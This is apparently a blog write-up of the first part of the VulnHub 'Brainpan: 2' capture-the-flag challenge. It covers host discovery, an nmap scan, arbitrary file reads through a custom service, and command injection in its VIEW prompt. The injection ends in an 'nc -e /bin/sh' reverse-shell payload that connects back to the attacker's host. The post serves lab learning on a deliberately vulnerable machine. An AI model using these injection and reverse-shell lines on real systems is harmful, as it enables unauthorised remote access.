PentestsPL

PANhandler from /dev/null

PENTEST LAB - BRAINPAN: 2 (part I: gaining access)

Hi and welcome in another part of the “PENTEST LAB”. Last time I’ve presented the solution for “Drunk Admin Web Hacking Challenge 1” and you can find it here. Today I’m gonna play with “Brainpan: 2” available here. By the way if you are looking for such hacking challenges check the VulnHub,they’ve got it all :) Target is a virtual machine configured to obtain IP from DHCP server. The name “Brainpan” comes probably from a things that system will do to your brain if you try beating it :)

!!!SPOILER ALERT!!!

If you want to finish this challenge alone stop reading here.

FINAL GOAL: Obtain flag from /root/flag.txt
Challenge accepted!!

First things first, let’s discover the target’s IP.

 Currently scanning: Finished!   |   Screen View: Unique Hosts 5 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 246  _____________________________________________________________________________    IP            At MAC Address      Count  Len   MAC Vendor                    -----------------------------------------------------------------------------  192.168.57.1    08:00:27:70:33:db    01    060   CADMUS COMPUTER SYSTEMS   ...  192.168.57.10   08:00:27:67:ad:75    01    042   CADMUS COMPUTER SYSTEMS

There it is, let’s run nmap over it.

# nmap -sV -Pn -n -A 192.168.57.10 Starting Nmap 6.45 ( http://nmap.org ) at 2014-06-06 10:54 CEST Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 0.00% done Nmap scan report for 192.168.57.10 Host is up (0.00011s latency). Not shown: 998 closed ports PORT      STATE SERVICE VERSION 9999/tcp  open  abyss? 10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3) |_http-title: Hacking Trends | ndmp-version: |_  ERROR: Failed to get host information from server 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port9999-TCP:V=6.45%I=7%D=6/6%Time=539181CD%P=x86_64-unknown-linux-gnu% SF:r(NULL,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\ SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\ SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_ SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_ SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_ SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2 SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\ SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BRAINPAN SF:\x202\.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20"); MAC Address: 08:00:27:67:AD:75 (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.9 Network Distance: 1 hop TRACEROUTE HOP RTT     ADDRESS 1   0.10 ms 192.168.57.10 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 187.09 seconds

Two random looking ports opened. One is a Python HTTP server and the other is some custom app probably. Let’s connect to these ports and see what else can we learn about it. The HTTP server is hosting some image. Running dirbuster against it I found one folder available for access with file inside. I’ve googled SimpleHTTPServer and found that there was some Local File Inclusion vulnerability in it. Unfortunately that one looks fixed. Probably dead end.

Let’s hop to the application running on port 9999. One useful tip here…do not use telnet. I’ve had some real troubles here because I couldn’t read files while using telnet. Netcat will do fine :) Why…? Dunno but probably telnet sends ‘\r\n’ as newline char and it’s messing up inside app. Ok, so let’s have a look…some nice banner and message “LOGIN AS GUEST”. My first command was “help” with “ACCESS DENIED” response. I thought that maybe that message is a tip, and I went through: login, login guest, login: guest, guest and so on. The response was always the same… I’ve copied the message under the banner, not that…so I’ve copied only “GUEST”…that was it! 

_|                            _|                                        _|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  _|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _| _|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _| _|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|                                             _|                                                                      _| [______________________ WELCOME TO BRAINPAN 2.0________________________]                              LOGIN AS GUEST                                                       >> GUEST                           ACCESS GRANTED                              *  *  *  *                                    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.      TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.                               *  *  *  *                                                          >> 

Some info and command “TELL ME MORE”. I’ve sent it and got all commands list. 

                          >> TELL ME MORE     FILES    HELP    VIEW       CREATE     USERS    MSG     SYSTEM     BYE 

The “HELP” was my first one. Looks like that app is some kind of a file transfer server. It gives you ability to view and upload files. Command “FILES” display all stored files. 

                          >> FILES total 36 -rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe -rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt -rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt -rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1 -rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2                           >>  

Output looks like the output from the “ls” command. There were some files already on the server. I’ve looked inside them…brainpan.exe is probably a binary of the app I’ve connected to, brainpan.txt is a manual to it, notes.txt is nice and mentions that app is using popen():

                          >> VIEW     ENTER FILE TO DOWNLOAD: notes.txt TODO LIST --------- reynard:  - Completed manpage. Read with groff or man.  - Renamed to brainpan.txt instead of brainpan.7.  - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc... anansi:  - Fixed a reported buffer overflow in login in version 1.0.  - Discovered buffer overflow in the command prompt, fixed as of version 2.0 puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9                           >>  

Let’s try to view /etc/passwd:

                          >> VIEW     ENTER FILE TO DOWNLOAD: /etc/passwd root:x:104:106:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh root :x:0:0:root:/var/root:/bin/bash list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash puck:x:1001:1001:puck,,,:/home/puck:/bin/bash reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash<

So sweet :) I can view any file I’ve got access inside system. From files list I’ve found uid one of the system user. I’ve tried creating and reading files inside his home directory with success. 

                           >> CREATE     ENTER FILE TO CREATE: /home/anansi/somefilename     ENTER CONTENTS: content\nblahblahblah     FILE CREATED                           >> VIEW     ENTER FILE TO DOWNLOAD: /home/anansi/somefilename content\nblahblahblah                           >>

That means one can read every file that user got permission to and create files in writable directories. I’ve checked other commands but almost all were not yet implemented. Few were not available for guest user. In that moment I’ve recalled that there was one sentence inside HELP that caught my attention. 

AUTHENTICATION
       There is currently no proper authentication mechanism in place. At this
       time&nbsp; the software is in it's alpha stage. The only avaiable account is
       GUEST. The DEBUG account will alter the output of some commands - useful for developers.

It’s mentioning DEBUG user. I’ve logged out from app and connected again this time providing “DEBUG” instead “GUEST” account. With this account I could run “SYSTEM” command.

_|                            _|                                        _|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  _|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _| _|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _| _|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|                                             _|                                                                      _| [______________________ WELCOME TO BRAINPAN 2.0________________________]                              LOGIN AS GUEST                                                       >> DEBUG                           ACCESS GRANTED                              *  *  *  *                                    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.      TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.                               *  *  *  *                                                          >> SYSTEM LANG=en_US.UTF-8 HOME=/home/anansi COLORTERM=(null) PWD=/opt/brainpan PATH=/bin:.:/usr/bin:/sbin SHLVL=1                           >>

Let’s stop here and summarize what we already know about the target:

  • it’s running with single IP:192.168.57.10 (in my case)
  • it has two open ports 9999 and 10000
  • on port 10000 is running http server (nothing interesting here)
  • that http server is Python based which means Python is installed and can be used
  • on port 9999 is running some custom file transfer app
  • custom app gives ability to read/write files in system, not only in app root
  • the app is in /opt/brainpan
  • the access to DEBUG user is not restricted and thus giving full access to the app
  • from notes.txt we know that app is using popen() to view files etc.

I could easily upload any file to the target but I couldn’t execute it. Next step will be finding remote code execution on the target system. I’ve targeted the custom app running on port 9999. In situations like that one creating a program pseudocode is a good idea. Let’s look into it:

stdin -> command
switch(command)
HELP:
    popen() // from the notes.txt
FILES:
    popen() // from the notes.txt
VIEW:
    stdin -> filename
    popen()
SYSTEM:
    echo system info
CREATE:
    stdin -> filename
stdin -> body

From the popen manual I found this:

The command argument is a pointer to a null-terminated string containing
a shell command line. This command is passed to /bin/sh using the -c flag;
interpretation, if any, is performed by the shell.

This means more than one command can be executed using popen(), the only thing we need is to inject our command to it. The only two commands that probably use user input inside popen() is VIEW and CREATE. I’ve started with VIEW:<

                          >> VIEW     ENTER FILE TO DOWNLOAD: notes.txt; echo "some unexpected text $%!@#!%@YSAGDWDW"; TODO LIST --------- reynard:  - Completed manpage. Read with groff or man.  - Renamed to brainpan.txt instead of brainpan.7.  - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc... anansi:  - Fixed a reported buffer overflow in login in version 1.0.  - Discovered buffer overflow in the command prompt, fixed as of version 2.0 puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 some unexpected text $%!@#!%@YSAGDWDW                           >>

That’s a success! I’ve got remote code execution. Let’s check if there’s netcat on the system.

                          >> VIEW     ENTER FILE TO DOWNLOAD: ; which netcat; /bin/netcat                           >>

Yes there is! Here comes remote shell (yes you can create file with some Metasploit payload and run it too):

                          >> VIEW     ENTER FILE TO DOWNLOAD: a; nc -e /bin/sh 192.168.57.1 6666
$ nc -l -p 6666 -v nc: listening on :: 6666 ... nc: listening on 0.0.0.0 6666 ... nc: connect to 192.168.57.1 6666 from 192.168.57.10 (192.168.57.10) 60096 [60096] id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) python -c 'import pty;pty.spawn("/bin/bash");' anansi@brainpan2:/opt/brainpan$

I have access to the system now and that’s the end of the part I.

Written on June 10, 2014